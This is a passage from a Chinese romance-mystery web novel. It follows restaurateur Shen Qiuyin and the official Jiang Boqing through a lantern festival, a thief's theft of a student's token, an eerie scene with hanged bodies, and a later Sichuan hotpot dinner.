啊!真可恶!系统恶狠狠地想。
沈秋吟没管系统的抓狂,正拿着簪子与自己的头发做斗争。
他学着姜泊清挽发时的动作,缠缠绕绕,绕绕缠缠,反反复复了好几遍也没能将这头发一丝不落的用簪子别住。
多次后,她的耐心耗尽,将那簪子往桌上一扔,摆烂了,这玩意儿她注定学不会,还是等见了姜泊清让他帮忙吧!
还在抓狂的系统忽然停止了抓狂,一本正经道:“宿主,你真觉得姜大人约你去灯会是为了减轻别人的注意力?”
“这有什么不相信的?”她觉着姜泊清没必要骗她。
若不真是有求于她,他何必送她如此精美的簪子。又不是钱多,烧得慌。
“有没有可能,他单纯地想约你看花灯!”系统小心翼翼道。
沈秋吟眨巴眨巴眼:“没可能!”
笑话!姜泊清一个冷面阎王,单纯想约她看花灯,一想到这儿,她鸡皮疙瘩都掉一地了。
咦……
沈秋吟的话成功将系统噎住,支支吾吾了半天,愣是不知该如何说,只能下线。
宿主不开窍,道阻且长,道阻且长呀!
月上梢头,倦鸟归林。百膳楼前的大街热闹,因着灯会,这里的游人也络绎不绝,卖吃食的小摊贩们个个带着笑迎客。
沈秋吟自楼里走出,对着那个挺拔的背影叫道:“姜泊清。”
熟悉的声音响起,姜泊清转过身子看向她。
月光之下,她散着头发,穿着黄中带绿的交领衣,下着绿油油的长裙,长裙上还绣着不知名的花。
姜泊清蓦然想到了《诗经》里的一句话——
螓首蛾眉,巧笑倩兮,美目盼兮。
他出神的时候,她已经走到了他身前,将手中的簪子递给他,傻乎乎地笑着说:“我不会弄。”
姜泊清接过,让她转身。
长街之上,人群之中,他温柔的侍弄着她的发,生怕将她弄疼了一点。直至全部理顺,他才开始挽发,而后用簪子固定。
“好了。”姜泊清说。
沈秋吟伸手摸了摸他挽的发髻,而后笑着说:“那就走吧!”
灯会在靠河的一条长街举办,或是年关将来,所以格外热闹,一眼望去,乌泱泱的全是人。
一想到今晚大理寺会有所行动,沈秋吟就担心害怕,进入人潮时死死地捏紧了姜泊清的衣袖,并警惕道:“你,你得保护好我的安全哈!我可不想丢了性命。”
她还如此年轻貌美,还不想早早就见了阎王,又开始新一段人生。
看着这姑娘胆颤心惊地样子,他忍不住笑了笑,让她放宽心,“我在,你不会有一点点事,放开胆子玩儿。”
可沈秋吟还是怕,脑海里已经演绎出了几十种死法,种种不同。
想到骇人的死法时,沈秋吟甚至往姜泊清身后躲,神叨叨念着:“姜泊清,若我真落入贼人的手中,会不会被一刀刀折磨死呀!”
这姑娘!脑子里真不装好事儿。真想打开她的脑子瞧瞧,究竟是什么做的,怎么会有这么多想法呢!
姜泊清失笑地摇了摇头,正欲说话,沈秋吟又从他背后走了出来,甩了甩头,摆了摆手,满不在乎道:“若真如此,那就是命该如此,我也算为国家做贡献了。”
“只是,”她话音一转,“若我走后,你一定要帮我照顾好百膳楼里的小二们哦。”
他们都是顶顶好的人,若没了她,以后谁还月月给他们加工钱呀!
她真是一个好掌柜,一点都不吝啬。
呜呜呜!
一听这话,姜泊清敲了一下她的脑袋,“少说这些话。都跟你说了,有我在,你死不了。收起你那些奇奇怪怪的想法。”
这姑娘,就不能想想好事吗!人生哪里有那么多坏事?怎么每每遇问题,总往坏处想呢?
沈秋吟知道有姜泊清在,她不会有事,可她就是怕,怕得要命。
而且,她本来就贪财且怕死。
这也不能怪她呀!
“我……”
见小姑娘结结巴巴连话都说不清楚了,姜泊清耐心地哄着她。
有了姜泊清数十遍保证,沈秋吟的胆子终于放开了,她本就爱热闹,灯会人山人海,没一会儿她就挤到了人群中央,左看看,右看看,兴趣高昂。
而姜泊清就默默跟在她身后,不远不近,注视着她的一举一动。
灯火辉煌,烛火映照她的面容,人群里的姑娘,一手拿着糖人,一手提着灯笼,转过身,朝他笑起来。
“姜泊清,这个真好看。”她举起手中的花灯给他看,像小孩子得了喜欢的东西,向大人炫耀。
“还有这个,”她又举起糖人,“你看,他像不像你?”
说着,她就咬了一口,将这个像他的糖人吞进了肚子。
“你这什么意思?才说这糖人像我,怎么就一口下肚了呢?”
“你猜!”沈秋吟狡黠一笑。
姜泊清才不猜,不用想就知道这姑娘是故意报复。
报复他近来日日逗她,总捏着她的糗事,遍遍捉弄她。
沈秋吟咬着糖人,吃得开怀,一点儿也没注意到身后有台阶,唰地一下,身子就往后仰。
姜泊清脸色一变,一个箭步冲了上去,一把将她抱住,这才没能摔在地上。
“没事吧?”姜泊清忧心道。
“没事,”她有些心悸地答道,“就是还没回过神来。”
她转头看了一眼身后的台阶,长长地舒了一口气,若不是姜泊清眼疾手快,她指定已经五体投地,给路过的各位拜早年了。
“怪我,忘了提醒你有台阶。”他当时只注意她的一撇一笑去了
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,忘了告诉她身后并不是平路。
“不怪你。是我走路不认真。”
呜呜呜!她觉着姜泊清有神明护体,专防小人。
上次,她在酸菜鱼里放乱七八糟的调料想赶他走,系统帮他,让她承担了一切。
这次她把像他的糖人吃进肚子里,报复他拿她的糗事打趣,台阶帮他,差点让她摔了下去。
沈秋吟默默想,以后还真不能针对姜泊清了。
这大人,不愧是大理寺的,自带邪性。
姜泊清还要说些什么,话还未出口,就听得人群里有人叫道:“灯王出来了!”
一时间人群纷纷往台阶的方向涌来,将他们挤在了一起。
姜泊清怕过往的人群将沈秋吟推搡,忙将她护在自己的怀里。
沈秋吟蓦然听见他的心跳声,脸红得似被炙烤过,心也越跳越快。
她抬头,看着他的下颚,“我们也去看看?”
他低头,有一瞬间失神,慌忙别过头道:“好!”
姜泊清松开她,将自己的衣袖递了上去,“拉稳。免得被冲散了。”
“嗯。”沈秋吟点点头,听话地拉住他的衣袖。
他们跟着人群走,在一处酒楼前看到了传说中的灯王。
灯王不愧是灯王,全身做成凤凰飞翔之态,高悬于半空之中,仿佛真是神鸟活了一般,迎风而舞,睥睨万物。
“想要吗?”姜泊清问她。
沈秋吟摇摇头,“不想要!”
这灯太大了,带回去占地方,看看就好。
“嗯……?”
她这回答令姜泊清尴尬了,他都做好替这姑娘取灯的准备,谁曾想她并不想要。
这姑娘怎么总不按常理出牌?
“啊啊啊!你这个榆木脑袋呀!”系统忍不住出声了。
人家姜泊清都表露得这么明显了,可它的宿主怎么就不开窍呢!真的是急死系统了!
“我怎么榆木了?”沈秋吟不明所以。
好端端的,这狗系统骂什么人呀!
真是的!
系统一直发出滋滋的电流声,显然是着急,可却极力压制住。但最后,它忽然啊了一声,显然是压不住了,霹雳啪啦说了一大堆,但纷纷化成了哔哔声。
好不容易勇敢一回的系统听得这哔哔声,心都碎了。它忘了系统禁令。它不能干涉宿主的人生,一切都得她自己走。
可是,它的宿主脑子里天然少了一根弦,不为她指点迷津,她能行吗?
枉它聪明一世,怎么就跟了个这样的宿主呀!
唉!都是自己选的,再怎么也要走下去!
俗话说得好,儿不嫌母丑,狗不嫌家不贫,系统也不能嫌宿主笨。
呜呜呜!
系统禁令的事儿沈秋吟不知道,她听了一连串的哔哔声,以为系统骂她,二话不说,直接怼了回去。
系统含泪背锅,在骂声中下了线。
走时留下一句——
“秋吟呀,你可长点心吧!”
而这时,商家已经公布了获取灯王的方式——比武取胜。
只见众人跃跃欲试,纷纷上了台子,准备一展手脚,抱得灯王归。
姜泊清再次问道:“你真的不想要吗?”
“不想。”沈秋吟十分斩钉截铁地说。
灯这种东西,也只有在灯会上看个热闹时才觉稀奇,若真让自己拿回家,日日观赏,反而没了兴趣。
所谓距离产生美,大抵就是这个道理了。
见她真心不想要,姜泊清没再问,专心致志陪她站在人群里看着台上的人过招。
他们打到激烈处,沈秋吟拍手称好,两眼放光,还挥着手,跟着比划。
姜泊清眉一皱,眼一黑,他忽然生出了一个奇怪的想法,这姑娘不爱花灯,爱武学,不会崇尚暴力美学吧?
29. 厉鬼索命
台上竞争激烈,为了那灯王,个个都拿出了看家本领,勾腿握拳,往对手身上招呼。
沈秋吟在下面看得目瞪口呆,感叹他们功夫惊人。
姜泊清觉着这幅画不宜她看,想拉着她去河边看花灯,沈秋吟直摆手,“要去你自己去,我不去。”
比武可比花灯有意思多了,她不想走。
姜泊清拉不动她,便往她身前站,遮挡她的视线。
他也不知为何要这般做,但心里总有一个声音告诉他,沈秋吟看不得这些,若她上瘾了,以后去拜个师,学个艺,倒霉的就是他了。
沈秋吟起初没发现他是故意的,只以为他是被人挤着了,不得已往她身前挪。但渐渐的,她发现他越挪越过分,越挪越过分,把她的视线完全遮挡住了,不禁一怒,将他推开。
“你干嘛?”她质问道。
姜泊清心虚,不敢看她眼睛,望了望天,又看了看地道:“没干嘛!”
沈秋吟才不信。
这人就是故意的。故意往她身前挪,挡住她的视线,好让她陪他去看花灯。
她才不会让他如愿以偿呢!
她可是想趁此机会,好好偷学两招,以免又出现格桑那事儿。
姜泊清被她凶了,不敢再捣乱,老老实实待在她身边,沈秋吟又认认真真看比武,两眼都放光。
台上经过一轮又一轮角逐,灯王最终被一还在上太学的公子赢走。
那公子站在台上,举着灯接受众人的欢呼鼓掌,虽然面相都被打破了,但喜悦之情,溢于言表。
沈秋吟起初押宝一个魁梧的汉子会赢,如今见这瘦弱公子,不禁叹道:“这公子有些实力在身上,看似文文弱弱,却有那样大的爆发力,将那些莽汉们都打了下去。”
姜泊清听了,悠悠地开口,“我朝太学重文也重武,教他们的老师,都是武状元。他师承武状元,自然比他们都厉害些。”
“还有,他也并不文文弱弱。你看他的手与腿,看似细,却不虚,说明是常常练武。”
原来如此。
沈秋吟忽然心念一动,问道:“太学收女学生吗?”
她想去学武,等赚够了银子后,做一个仗剑天涯的女侠。
一手箬笠,一手剑。
一匹白马,一根笛。
天!好不威风。
姜泊清答道:“收的。”
音落,他又警惕地看她:“你想干嘛?”
这个姑娘不会真要学武去吧?
姜泊清想了想沈秋吟学武后的样子,直摇头。
不可以!
她没学武就很暴力,再学武,以后岂不是得弄死他。
姜泊清连连劝她。
沈秋吟正要说话,却见一道黑影飞速从台子上掠过,快得让人以为是错觉。
她揉了揉眼睛,怀疑自己看错了。可一回想,刚才是真有东西从台子上刺啦一下,飘了过去。
是猫吗?
大黑猫?
不太像。黑猫的身形可比这黑影小多了。
那是什么?
不会是鬼吧!
沈秋吟一惊,忙往姜泊清身边靠了靠,警惕地看着周围。
她瞧众人还在鼓掌,无人质问刚才是否有黑影掠过。
不,不,不会只有她一个人看见了吧?
救命!若真是这样,她真的会谢!
沈秋吟越想越离谱,连厉鬼勾魂索命的场面都想了出来,把自己吓得又往姜泊清身边挪了挪。
姜泊清见她奇怪的举动,有些莫名其妙。
刚才还好好的,怎么突然就这样了?
这是……见鬼了?
他戳了一下她的手,她吓得“啊”地一声叫了起来。
众人投来了目光,沈秋吟忙拿着姜泊清的衣袖遮住脸。
姜泊清忙问:“怎么了?”
她左看看,右看看,似在寻找什么东西,水盈盈眼里满是小心翼翼。
或是确定了那东西不在,又或是过于害怕,她又拉着他的衣袖遮住脸,这才说:“姜泊清,有,有,有鬼!”
声音自他的衣袖里传出来,颤巍巍的,仿佛是真受了好大地惊吓。
姜泊清一愣,还真……见鬼了?
他四处张望,想要找找她说的黑影,却见周围灯火辉煌,车水马龙,一派太平景象,连个影子都没看见,哪来的鬼?
这姑娘莫不是自己吓自己?
沈秋吟紧挨着他的身子,一双手紧握着他的衣袖,漏出一双惊恐的眼睛,“我,我刚才见到台子上有一道黑影嗖地一下冲了过去。”
要么是人影,要么就是鬼影,但那飞一般的速度,让沈秋吟更倾向于鬼影。
姜泊清抬头一看,台上的公子举着灯还在接受众人的祝贺,偌大的场地只有他一人,怎么看也没有黑影。
再说,这公子身手了得,若真有影子,他会察觉不到?
姜泊清疑道:“你是不是看错了?”
他怀疑是她眼花了。
沈秋吟连忙否认:“不可能!绝对没看错!”
她敢肯定以及确定刚才就是有黑影飘了过去,速度之快,就在眨眼之间。
沈秋吟如此笃定,到也勾起了姜泊清的怀疑。
莫非真有鬼?
这自然不可能。
不过,有人装神弄鬼到说不定。
姜泊清仔细观察人群,众人脸上带笑,瞧不出有任何不同。
他又看向台子,灯光之下,那公子的影子被拉长,随着他的移动,到像是沈秋吟口中所说的黑影。
莫非是看差了眼,将影子认真了鬼?
姜泊清拍了拍她的肩,叫她将眼睛漏出来,看着台上的影子道:“有没有可能是那阴影?”
沈秋吟摇头,斩钉截铁说:“不可能!那黑影全黑,肯定不是阴影。到像是穿夜行衣的人。”
“但是……,鬼的可能比人大。”
她说完,兀自呢喃着妖魔鬼怪快离开,观世音菩萨保佑等等诸如此类的词。
将胆小怕事演绎到了极点。
姜泊清听了她的描述,皱起了眉头。再次在脑海里细细回忆刚才的画面。
他一直盯着台子,真没看到所谓黑影。再加上人的速度再快,也不可能眨眼就消失。可沈秋吟被吓得这般厉害,又不似作伪。
鬼?人?
姜泊清目前也说不清了。
沈秋吟抱紧了姜泊清的手臂,呜咽着说:“姜泊清。我怕,不会真是厉鬼索命吧?”
她看这样儿,怀疑独她一人看见了黑影,其他人都没看见。
天!
莫不是来索她命的鬼?
我去!沈秋吟心里的害怕更甚,说话也不利索:“我,我,我是个好人呀……厉鬼大人们放过我!”
她咬着嘴唇,脸色苍白,额头上都出了一层密密麻麻的汗。
姜泊清握住她的手腕:“别怕,我在!”
沈秋吟抬头对上他的眼,忽地汪汪地哭:“你在我更怕!你们大理寺的自带邪性呀!”
啊!她现在严重怀疑那厉鬼是姜泊清招来的。
他管刑狱,手
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中所杀之人,虽然都是坏人,但保不齐这些坏人心中怨念深厚,死后没被黑白无常勾了去,到留在人间,化作厉鬼。
但能进大理寺的人,都是命硬之人,自有神佛保佑。这厉鬼近不了身,就只能找离他最近的人索命。
而如今,离他最近的不就是她吗?
难怪难怪!独独只有她能看见厉鬼,其他人都看不到。
原是这样。
她纯纯是替姜泊清背黑锅呀!
沈秋吟越想越觉得在理,赶忙放开姜泊清的手,往后退了好几步,与他将距离拉开
乖乖们!看清楚了,我与他不熟!
有怨报怨,有仇报仇,找正主去!她就是个狗腿子。
姜泊清被这反应弄得满头黑线,阴沉着脸走过去,给了她一个爆栗,“少说鬼话!这世上没有鬼!”
沈秋吟捂着自己被打的地方,呜呜两声,敢怒不敢言。
她怕姜泊清先厉鬼一步将她吃了。
沈秋吟的话到是警醒了姜泊清,今夜灯会人多,保不齐会有人趁机作乱。
他紧紧握住她的手腕,将她护住:“人多,别乱窜,恐有人谋财害命。”
沈秋吟疑惑地“嗯”了一声,而后真诚发问:“你们大理寺在今夜不是要有所行动吗?怎么还恐?”
不待姜泊清说话,沈秋吟像是明白了什么,惊道:“你们要抓的不会就是这黑影吧!”
天杀的!早知道大理寺要抓的是鬼,她说什么也不答应。
管她什么吃人嘴软,拿人手短。她向来将人至贱,则无敌奉为圭臬,怎么就在那一日动了恻隐之心。
悔之晚矣!悔之晚矣呀!
姜泊清松开了她的手腕,看着她,沈秋吟以为他要做什么,忙又往后退,说道:“你说过要保我平安的,不能食言呀!别把我推出去喂鬼了!我还小,连人家都还没相看过呢!放过我!好不好!”
“我……!”
姜泊清叹了口气,伸手捏了捏眉心。
大理寺根本没行动,这不过是他为了约她一起看花灯,找的一个借口罢了。而这黑影更是个意外,他也没想到的。
沈秋吟眼巴巴地看着他,试图唤起姜泊清的良知。
姜泊清张了张嘴,正欲解释,却在这时,那台子上的公子大喊:“你们看见我的腰牌没?”
腰牌?
众人摇摇头,纷纷说没看见。
那公子放了灯,急忙在台上寻找。可找了一个遍也没找到。
这就奇怪了?
就在那公子要下台去寻时,有人喊道:“我刚刚看见一个黑影从公子身边飘过,莫不是他拿了?”
他此话一出,众人附和道:“我也看见了,不过以为是花眼了,所以没说。”
这人话音方落,好几人都应和。
所以,大家都看见了,可都以为是自己眼花,看错了?
而只有她一人当成是鬼。
沈秋吟觉着大事不妙,脚底抹油,想跑。
姜泊清眼疾手快,抓住她脖后的衣领,恶狠狠地说:“沈秋吟,这就是你说的有鬼?”
沈秋吟尴尬一笑,可怜巴巴看着姜泊清:“不怪我……我真以为是鬼!”
她那知道会是这样。
“再说,我总比你眼神好使吧!至少我看见了,你连看都没看见。”
“我劝你少说话。”姜泊清将牙齿磨得咯吱咯吱响,一副要吃人地模样。
沈秋吟识趣地闭上嘴。
而这时,人群里传来一阵爆动,众人纷纷喊道:“抓小偷呀!”
30. 姜泊清,有死人!
一听有人盗窃,众人一时涌动,四处散开,一个接一个喊着抓小偷,生怕比别人晚了一步。
可沈秋吟在人群里眼睛都看直了,也没看见小偷的影儿。
她了揉了揉干涸的眼,心念着好好好,玩她是吧!连眼睛也要和她对着干,该看的时候啥也看不见,不该看的时候一瞧一个准。
啊!过分死了!和那臭系统一个样儿,一身反骨!
“宿主,这可就冤枉了,你不觉得我最近很听话吗?”
沈秋吟捏着下巴,颇为正经道:“你近来的确听话,可这也改变不了你反骨的事实。”
“好好好!咱就说这锅我是不是背定了!”
沈秋吟含着笑点点头。
系统暴走下线!
姜泊清害怕出事儿,握着她的手带着她往宽敞的地方退,方退了几步,人流就把他们冲开。
“姜泊清!”
人群里,沈秋吟使了老大的劲儿想挤到姜泊清身边,奈何人太多,无论如何也冲不破,只能做罢。
他两隔着人群对望,活像被银河阻隔了的牛郎织女。
要是有个鹊桥就好了!
呜呜!她说什么也要待在姜泊清身边。
他虽邪性,但也有安全感,待在他身边,至少若真有鬼,她也能替姜泊清挡上一波!
到不是她好人,主要是他欠她一个大人情,以后到了阴曹地府,他每每祭奠她时,也必不吝啬,说不定她还能当个鬼财主。
“你是真爱钱!三句话没一句能离开!”系统又冒泡道。
沈秋吟回道:“废话!谁还能不爱钱了!”
那的确是这样。
“可是,宿主,你能不能惜命?别总想着死死死!”
沈秋吟一时沉默,没回系统的话。
人海里,姜泊清一直注意着沈秋吟,他使了全力推搡涌过来的人群,可人太多,根本推不完,眼看着她离自己越来越远,只能急轰轰道:“去桥头等我!”
人群嘈杂,沈秋吟一点声儿也听不见,使了吃饭的劲儿答道:“你说什么,我听不见!”
她害怕是自己耳朵里的矿太多,吼完还掏了掏耳朵。
姜泊清听清了她的话,把刚才的话又重复一遍。
沈秋吟竖着耳朵,废了老大的劲儿终于听清楚了他方才说的什么,正要回答时,眼睛唰地一亮,她又看见了那一闪而过的黑影。
这一次它虽冲得快,但奈何沈秋吟没眨眼,看见了它跑的方向,她赶忙对着姜泊清喊道:“黑影在那儿!”
她的声音姜泊清没听真切,四散的群众到听了个明白,纷纷往她指着的方向跑,沈秋吟被人群推着,无力挣脱,也不得不往那方向去。
乖乖的!人民群众的力量果然不可估量,她一个大活人,愣是被挤着走出了这么远。
她抹了一把额上的薄汗,拍着胸脯长长吐了一口气。
咱就说,西崤的百姓是不是也太见义勇为了。一个小偷儿,这么多人去追!个个都要当英雄吗?
此时人群传来两男子的谈话声。
“你跑什么?”一人问道。
一人答:“抓小偷呀!”
“真的吗?”那人拖长了声音,显然不信。
另一人嘿嘿一声,诚恳道:“肯定不是,就想吃个瓜!”
那人一听,激动了:“正巧!我也是!”
“啊!同道中人!那咱们一起冲!我到要看看这小偷长什么样!”
“好勒,兄弟!”
就在一旁站着的沈秋吟听得嘴角直抽搐,扭头一看,那两兄弟已经勾肩搭背顺着人群跑,那速度,跟百米冲刺似的,生怕晚了一秒瓜就飞走了。
所以……,见义勇为是假?做好事也是假?只有吃瓜是真?
我滴个乖乖!要不要这么八卦呀!
虽然八卦是人的天性,可这前面的限定词不是女人吗?好好好!她算是明白了,男人八卦起来,就没女人什么事儿了。
跑了不知多久,群众们还没散去,沈秋吟插了个缝隙,跑到了台阶上,以手当扇,正欲给自己去去热,却不曾想,人流突然暴增,连带着台阶上的她,又被推着走。
俗话说长江后浪推前浪,前浪拍死在沙滩上,可她这前浪不光没被拍死,还越推越远。
说好的后来居上呢?
宝子们!能不能用点心,努点力,把想摆烂的前浪一巴掌拍死呀!
她实在是不行了!
沈秋吟站在原地想停下,但人实在太多了,根本停不住,后边的力量推着人就走了。
她不知被推着走了多远,反正回头已经见不着姜泊清的影子了。
当时说好在桥头相见,如今这架势别说桥头了,光走两步路都难。
人人都说顺水而下,那她还是别逆流而上了。
没那个实力,咱揽不了这瓷器活儿。
既然都这般了,那还不如就跟着去看个热闹。
“宿主,你节操呢?”系统忽然出声。
刚才还嫌弃别人为了吃瓜被人顺着鼻子走,如今自己倒也这般了。真是没节操。
面对它的吐槽,沈秋吟不以为意回道:“节操又不能当饭吃,要它何用了?再说了,吃瓜能让心情愉悦,我不信你不感兴趣。”
“我就是不感兴趣?”系统颇为傲娇道。
“真的?”沈秋吟不相信。
“假的,”系统嗷嗷叫道,“宿主,冲!我为你摇旗呐喊!”
笑话!哪有人类不爱吃瓜!
系统话音方落,沈秋吟就行动了起来。
她也要看看这吓了她一跳得鬼究竟是何方神圣。
那边沈秋吟为了吃瓜跑得不亦乐乎,这边姜泊清为了找她焦头烂额。
他站在桥头眼睛都望酸了,也没见着她的影子。
心里没来由的阵阵慌乱,害怕格桑之事重演。
陆昭明站在他身边叫他放宽心,“大理寺的人已经去维护秩序了,沈掌柜不会出事。”
姜泊清呢喃着但愿如此。
这时候,一个身着官府的捕快慌慌张张跑了上来,喊着:“少卿,大事不好!”
姜泊清心中一紧,急忙转身向他走去,沉着脸问:“什么事?”
那捕快连忙贴着他耳旁说着,姜泊清的脸瞬间阴沉了下去,连忙下了桥,跑进了阴影里。
此时,月亮东移,逐渐隐藏在浓云里。天幕间挂着的闪烁星光霎那间消散。那静止的云忽地动了起来,如球一般,越滚越凶。
倏而狂风大作,那河岸边本就枯得只剩几片叶子的树被这风一吹,更枯上了几分。
摊贩们挂在杆子的灯笼更是被这风吹得落了下来,四处滚。
仔细一声,竟然还能听见寒鸦凄厉的叫声。
好一阵妖风!
沈秋吟被这风吹得睁不开眼,忙拿袖子挡住,艰难前行,想寻一处屋檐,躲避这风。
可刚走几步便撞到了人。
她渐渐后退,放下挡风的手一看,竟然是那夺了灯王的太学公子。
这公子被她撞了没恼,反而担心地问她有没有受伤。
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沈秋吟摇摇头,问他:“你的腰牌找回来了吗?”
公子道:“还没有。那贼人狡诈,我们这么多人追,还是叫他逃了去!”
“早知道就不去争灯王了,没了这腰牌我该如何是好。”这公子又懊悔道。
沈秋吟正要宽慰他,只见嗖地一下,那黑影又出现了,她赶忙指着它消失的方向,急慌慌道:“在那儿!”
不等这公子反应过来,沈秋吟兀自追了上去。
停下来的人见她跑了起来,也跟着跑。
一时间人流又聚了上来,跟在她身后,成了一个长长的尾巴。
沈秋吟不知跑了多久,累得弯下了腰,重重地喘气。
那黑影实在太快,还是叫她没有追上。
忽而她听得一阵打斗声,刀光剑影有闪到她的眼。
她警惕起来,小心翼翼地直起腰杆,却见自己身处于一个黑不见光的巷子里。
这是怎么回事?
她明明跑的大路,怎会到这里?
她转头,巷子口浓雾四起。
不见一个人影。
他们人呢?
怎么全消失了?
她挥了挥手,想驱散这浓雾,定睛一看,却见重重影子凌乱地乱飞。
此时一声猫叫刺耳,让人不寒而栗,打斗声又传了过来。
沈秋吟揉了揉双眼,乱飞地影子又消失不见。
鬼!
真有鬼!
还是百鬼夜行!
啊!
她双手环胸,呈保护的姿态,嘴里念着如来佛祖、齐天大圣保佑,壮着胆跑了出去。
她害怕再见重影,不敢睁眼,风在耳边呼啸,未知的恐怖缠绕全身,活着的信念令她一往无前。
她跑了好一阵停了下来,睁开眼却见自己还在那黑不见底的巷子里。
恐惧挑动神经末梢,沈秋吟害怕地哆嗦。
跑了那么久,竟是原地打转!
这,这,这莫不是遇见鬼打墙了。
又是一声猫叫,如同小孩啼哭,声声入耳,加剧了恐惧。
沈秋吟“啊”地一声呐喊,而后呼唤系统。
系统发出滋滋的电流声,断断续续说道:“宿,宿,宿主,这,这,这里,磁,磁,磁场,不对!”
它艰难地说完这一句,便被强制下线。
沈秋吟小心翼翼看着四周,与其被鬼咬死,不如拼尽全力活命!
她不信邪地又跑了一次。
她仍是闭着眼跑,不知疲倦地跑,直至跑到彻底没了体力时才睁眼,却被眼前的景象吓得连话也说不出来。
腿更是瞬间没了力气,她瘫倒在地。
只见寒鸦四起,叫声尖锐。
她的视线死死地盯着不远处破旧的城隍庙,而那断壁残垣之上却挂着四具尸体,个个白着脸,舌头伸得老长。
沈秋吟连滚带爬往后退。
死人!
她,她第一次见到死人。
还是吊死的人。
她,她该怎么办?
她用尽全力后退,退了不知多远,忽地再也退不动,身后似被什么东西挡住了一般,她冰凉的手往那东西一摸,竟是一处暖热。
这,这,这莫不是才死的人?
沈秋吟心理防线崩溃,吓得捂头尖叫,惊起寒鸦掠过。
姜泊清忙道:“是我!”
不一会儿,火光照亮了黑暗,沈秋吟安静了下来,缓缓睁开眼,见姜泊清,如见亲人一般,一把扑进他的怀里,颤着声说:“姜泊清,有死人!”
31. 妹子!是我!
“所以,我那一日所见,皆是幻觉?”
姜泊清点点头,正欲将故事娓娓道来,沈秋吟扬起手叫道:“等等!”
“嗯?”姜泊清将要说出口的话憋下去,“等什么?”
沈秋吟举起锅铲,笑道:“自然是等我弄完火锅,咱们边吃边讲!”
深冬已至,濮阳城里连连下了好几场雪,万物都裹上了一片雪白。白茫茫的大雪将这世界变得格外干净,可随之而来的寒气,也不禁让人抖三抖。
绿蚁新醅酒,红泥小火炉。
这种时节,最适合围着炉子,喝着温热的酒,吃着热辣滚烫的火锅。
所以,趁着今日大雪,百膳楼无人光临,沈秋吟便早早关了门,打算同小二们一起吃顿火锅,热闹一番。
而姜泊清就是在关门前一刻来的。
“火锅?”姜泊清没听过这个说法,皱着眉头,有些疑惑。
沈秋吟解释道:“就是锅子,不过是蜀地的吃法。同你说了你也理解不了,等我弄好,你看了便知晓。”
“行嘛!”姜泊清也不纠结,自然而然加入了帮忙的队伍里。
厨房各人各司其职,主要的活儿还是由沈秋吟做。
只见她拿出两大块事先备好的牛油倒进铁锅中,而后加入火红的辣椒以及熟透的花椒,再加入一瓢水后,又放上其它增味的调料,还吩咐着姜泊清将灶里的火再烧旺些。
蜀地火锅,就得大火将牛油烧化,把辣椒的辣和花椒的麻,全全激发出来,烫菜时才好吃。
姜泊清闻此,夹了一大摞柴入灶,火焰瞬间吞噬,还冒出了头,越过了灶台。
锅里的牛油很快化开,辣椒与花椒的鲜香与麻味在空中散开,呛得人直咳嗽,小二们一个接一个往院子里跑,呼吸新鲜空气。
沈秋吟看着稳如泰山的姜泊清,惊道:“你居然不躲?”
“我躲什么?”姜泊清反问。
“嗯……?你不知道?”
沈秋吟眨巴眨巴眼,姜泊清曾经可是吃柠檬鸡爪都辣得吐舌的人,今日怎得这般淡定了?
这是已经建立起了耐受?
姜泊清一脸平静道:“你如果说辣的话,我到真没必要躲了。回回来楼中吃饭,总有一道菜你要放辣椒,吃这么久了,不习惯也习惯了。”
这语气怎么带着怨意?
莫不是以为自己故意整他?
沈秋吟如临大敌,赶忙撇清关系:“我可没整你哈!”
自上次酸菜鱼后,她便再也不敢打他的主意。而他的菜里之所以有辣椒,那是因为有些菜本就要有辣才能提鲜。若不放,就会失去很多味道。
“我知道。”姜泊清答。
他又没有责备意味,这姑娘的反应是不是太大了?
姜泊清觉得她有鬼。
他盯着她看,一脸探究,沈秋吟被看得心虚,害怕上次的事儿暴露,赶忙扯过话题。
姜泊清不接茬,正要问她是不是有事瞒着。
沈秋吟先一步叫道:“来人来人,架桌子,汤底快好了!”
她话音方落,外面传来噼里啪啦的声响,众人都抢着活做,生怕少干了一点。
灶上的汤底彻底煮沸,咕噜咕噜,直冒泡。
这一锅火红,光这颜色便给人极大的视觉冲击,心骇的同时又好奇。
沈秋吟用锅铲搅和了一下,闭着眼吸了一大口气,辣与麻冲上天灵盖,氤氲热气更将她白皙的脸颊也染红了。
沈秋吟直呼得劲儿,就是这个味儿。
锅子,还得是蜀地的火锅才叫好。
等着汤底持续沸腾了一阵,沈秋吟又叫道:“来人来人,架锅子了。”
“好勒!”
外面的人应和一声,下一瞬就走进来两个不怕辣的小二,一人手中握着一个帕子,用帕子握住锅耳,隔了热,使劲儿一抬,就将这一锅鲜红抬了出去,放在镂空的桌上。
随后,沈秋吟和姜泊清一人推着一个木车子出来,所有烫火锅的食材到位,众人也落座开动。
你一筷,我一筷,好不欢喜。
小二们常居濮阳,没吃过蜀地的火锅,初初下口,还觉不辣,等了一会儿后发现火烧喉咙,辣得直吐舌头,不停地吸气,这样子像极了某个小动物,惹得沈秋吟发笑的同时,赶忙拿出事先备好的茶水,给他们满上。
她一一倒完后,正要放下茶壶,这时眼前突然多了一个杯子。
她顺着杯主人的手往上看,对上姜泊清那张绯红的脸。
他额上已经辣出了一层薄薄的汗,嘴唇红润,像抹了姑娘家的口脂一样。
沈秋吟笑着打趣道:“哟,不是不辣吗?”
她原以为他已经练成了金刚不坏之身,没想到还抵不住火锅的辣。
姜泊清不自然地咳嗽两声,嘴硬道:“口渴!”
当然不是!属实是太辣了,这锅红油,比她平时炒菜放的辣椒,要更霸道些,吃得越久,越让人受不住。
可这辣又极其开胃,让人欲罢不能,根本放不下筷子。
蜀地的锅子,着实好吃!
吃惯了濮阳放麻酱的锅子后,初初一试,更觉与众不同,吃了之后还想吃。
沈秋吟听了,抿着嘴笑,也不拆穿他,替他也满上一杯茶。
姜泊清端着,大口大口喝,一杯喝完,才将将止辣。
“还口渴吗?”沈秋吟问道。
她可没有逗弄他的意思,是真心实意问他还要水不。
这汤底有多辣,没人比她更清楚,若不是蜀地人,准一吃一个嗓子冒烟。
已经如此,姜泊清也不再顾着面子,将杯子递了上去,沈秋吟又为他倒上满满一杯茶。
他接过,又是一饮而尽,口舌间以及喉咙处的辣味才算彻底止住。
缓过劲儿后,他又拿起筷子,夹了一大筷黄喉,才吃少许,又辣得吐气。
反观沈秋吟,却吃得欢实,一点也不见辣着,蓦地,他觉着这姑娘,还真像这辣子。
行事果敢,说话直爽,脾气上头也暴躁,除却总爱多想,时不时将死字挂在嘴上外。
想着想着,姜泊清不禁笑起来,呆呆地,痴痴的,有点像二傻子。
